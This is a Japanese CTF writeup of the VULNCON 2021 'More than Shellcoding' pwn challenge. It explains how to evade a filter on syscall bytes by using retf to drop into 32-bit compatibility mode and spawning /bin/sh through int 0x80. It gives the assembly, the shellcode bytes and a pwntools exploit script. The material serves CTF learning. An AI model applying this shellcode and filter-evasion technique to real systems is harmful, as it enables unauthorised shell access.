<VULNCON CTF 2021> More than Shellcoding Writeup

 

 

はじめに


先週末に行われていた VULNCON CTF 2021 に1人で参加しました。


More than Shellcoding だけ解けました。


ちなみに、このCTFは VULNCON 2021 というイベントの企画の1つらしく、そこでは専門家の方々のトークイベントなども開催されるらしいです。学校があるので観られなそう。ちょっと残念。

More than Shellcoding (Pwn)



実行ファイルだけ配られました。

$ file More_than_shellcoding 
More_than_shellcoding: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=43505c2808579f50829576cb1bbcbfd5bd5a7f95, 
for GNU/Linux 3.2.0, not stripped

$ checksec chall
[*] '/home/hasuke/Programs/VULN/Shellcoding/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


入力したシェルコードを実行してくれるようですが、どうせ何か制限がかかっているので、デコンパイル*1(広義)して解析していきます。

$ ./chall
Are you really good at shellcoding Lets try : 
aaaaaaaaa 
Illegal instruction (コアダンプ)


入力を受け取る部分を見てみると、シェルコードが格納される領域のアドレスがわかります。

  puts("Are you really good at shellcoding Lets try : ");
  __buf = (code *)mmap((void *)0x69420000,0x100,2,0x22,0,0);
  uVar1 = read(0,__buf,0x100);
  mprotect(__buf,0x100,4);


制限は、fileter_shellcode関数のこの部分にあります。

index = 0;
while( true ) {
  if (len_shellcode + -1 <= index) {
    return;
  }
  if ((*(char *)(shellcode + index) == '\x0f') &&
     (*(char *)(shellcode + (long)index + 1) == '\x05')) break;
  index = index + 1;
}
puts("\nbad shellcode");
                  /* WARNING: Subroutine does not return */
exit(0);


入力したコードの中に \x0f\x05 のかたまりがあると実行してくれません( \x0f\x05 はsyscallに対応します)。


こういう場合の作戦の1つとして、シェルコードの末尾に \x0e\x05 とかを入れて、そこのアドレスを inc 命令で syscall に変換するやり方があります。ですが今回は、mprotect() によって、後から書き込みができない状態になっているので、その方法は通用しません(第3引数の 0x4 は PROT_EXEC に対応します)。


syscallを直接実行するのは難しそうなので、32 ビットモードでint 0x80命令を実行して、システムコールを発行する方法を考えます。


ISA が AMD64 の CPU は、OS が 64 ビットだと Long モードで動作します。Long モードには 64 ビットモードと互換モードがあり、前者から後者に切り替えることで、アドレスが 32 ビット単位の命令を実行できるようになります。そしてこの切り替えは、コードセグメントのセレクタ値を 0x23 にすることで行えます。セレクタ値の変更にはretf命令*2が使えます。*3


具体的な操作をアセンブリ言語で書くとこんな感じになります。(11行目以降は、ももいろテクノロジー*4を参考にしました)

global main                                                                     

main:
BITS 64
        xor rsp, rsp
        mov esp, 0x404088
        mov DWORD [rsp], 0x69420018
        mov DWORD [rsp+4], 0x23
        retf
  
BITS 32
        push 0x0068732f
        push 0x6e69622f
        mov ebx, esp
        xor edx, edx
        push edx
        push ebx
        mov ecx, esp
        mov eax, 11
        int 0x80

ちなみに nasm でアセンブルするときは PTR がいらないみたいです。


互換モードに切り替わる際、スタックポインタは元々指していたアドレスの下位 4 バイト分のアドレスを指すようになるので、切り替わる前に rsp の値を調整しておく必要があります。メモリ等の情報は、bss 領域に書き込みました。


exploit コードはこんな感じです。

#!/usr/bin/env python3                                                                                                           
from pwn import *
 
bin_file = './chall'
context(os = 'linux', arch = 'amd64')
#HOST = '35.228.15.118'
#PORT = 1338
 
binf = ELF(bin_file)
 
def attack(io, **kwargs):
    shellcode = b'\x48\x31\xe4\xbc\x88\x40\x40\x00\xc7\x04\x24\x18\x00\x42\x69\xc7\x44\x24\x04\x23\x00\x00\x00\xcb'\
                b'\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80'
    io.recvline()
    io.sendline(shellcode)
 
def main():
    io = process(bin_file)
    #io = remote(HOST, PORT)
    attack(io)
    #gdb.attach(io, '')
    io.interactive()
 
if __name__ == '__main__':
    main()

 

おわりに

 
Writeup を書くのは結構大変でした。

調べればわかることをダラダラと書きすぎたからかもしれませんが。

アセンブリ言語を書いたことが全然なかったので、勉強になりました。
 

*1:ghidraを使いました。

*2:スタックから 4 バイトずつ 2 つの値を pop して、それぞれを rip と cs(コードセグメントのセグメントレジスタ)に格納させる命令です。

*3:ここの説明は、『詳解セキュリティコンテスト』Wikipediaを参考にしました。

*4:https://inaz2.hatenablog.com/entry/2014/03/13/013056